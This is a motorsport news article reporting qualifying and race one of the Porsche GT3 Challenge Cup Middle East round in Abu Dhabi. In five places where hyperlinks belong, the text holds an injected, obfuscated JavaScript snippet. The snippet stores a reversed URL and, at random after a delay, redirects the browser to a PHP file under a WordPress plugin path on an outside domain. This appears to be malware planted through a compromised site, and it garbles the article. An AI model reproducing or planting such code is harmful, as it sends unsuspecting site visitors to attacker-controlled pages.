Anybody watching the last time the Porsche GT3 Challenge Cup Middle East hit the track may find this an odd thing to say, but it is looking increasingly like anybody could win this year’s crown.
One stellar reason for that is the depth of competition within the series’ three separate classes, as the qualifying results for this weekend’s second round in Abu Dhabi demonstrates. Just 0.060s, at most, separated the top three in the top shelf Gold Class over the 55s/56s lap. Less than nothing.
Indeed, so close was the battle for pole position in the opening qualifying session that Al Nabooda Racing’s Karim Al Azhari beat $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/saudi-falcons-racing-porsche-gt3-cup-getting-back-in-the-swing/” target=”_blank”>Saudi Falcon Racing’s Abdulaziz Turki AlFaisal by just .0008s. Clemens Schmid shaved that deficit even further when he beat Al Nabooda Racing teammate Al Azhari onto the front row of the grid by just 0.001s!
Unfathomably small gaps aside, there is also the competition between classes to consider. Abdul Rahman Al Thani (fresh from his $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-2-dubai-autodrome-spinning-in-the-rain/” target=”_blank”>Radical Winter Cup outing) proved that Silver Class competitors are not to be taken lightly with two demonically quick starts at the Yas Marina Circuit, the latter of which propelled him into the heart of the Gold Class battle ahead and set up his eventual drive to third place overall. This despite apparent fire damage to his rear bumper in the opening race.
Zaid Ashkanani, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-middle-east-round-2-bahrain-two-for-two/” target=”_blank”>impressive last time out in Bahrain, demonstrated likewise in race one by taking the final step of the podium as well as Silver Class victory.
Arguably though, the biggest fly in the ointment for this year’s title challengers is the sport’s fallback maxim: ‘that’s motor racing’. The oh-so-familiar phrase that usually curtails a bad weekend for team and driver alike, and which is normally proferred with a heavy shrug of the shoulders. This weekend, it was the turn of Clemens Schmid, who after his $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-cup-challenge-middle-east-bahrain-round-1/” target=”_blank”>unstoppable performance last time out in Bahrain looked set to take home the gold again until lap 20 of the opening race.
Having to give best to Al-Azani and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abdulaziz-turki-al-faisal-le-mans-24hrs-the-building-tension/” target=”_blank”>AlFaisal/ATF in qualifying, Schmid would also take a back seat while his two class rivals duked it out for the lead in the early stages, ATF managing to sneak his nose ahead.
Schmid though was soon on a charge, passing his more experienced teammate before whistling right onto the tailpipes of the lead Saudi Falcons Porsche. On a tight and twisting short circuit, straights were few and passing opportunities even fewer. Nobody seemed to have mentioned this to the Austrian though, a late lunge from nowhere giving Schmid the lead on lap 18.
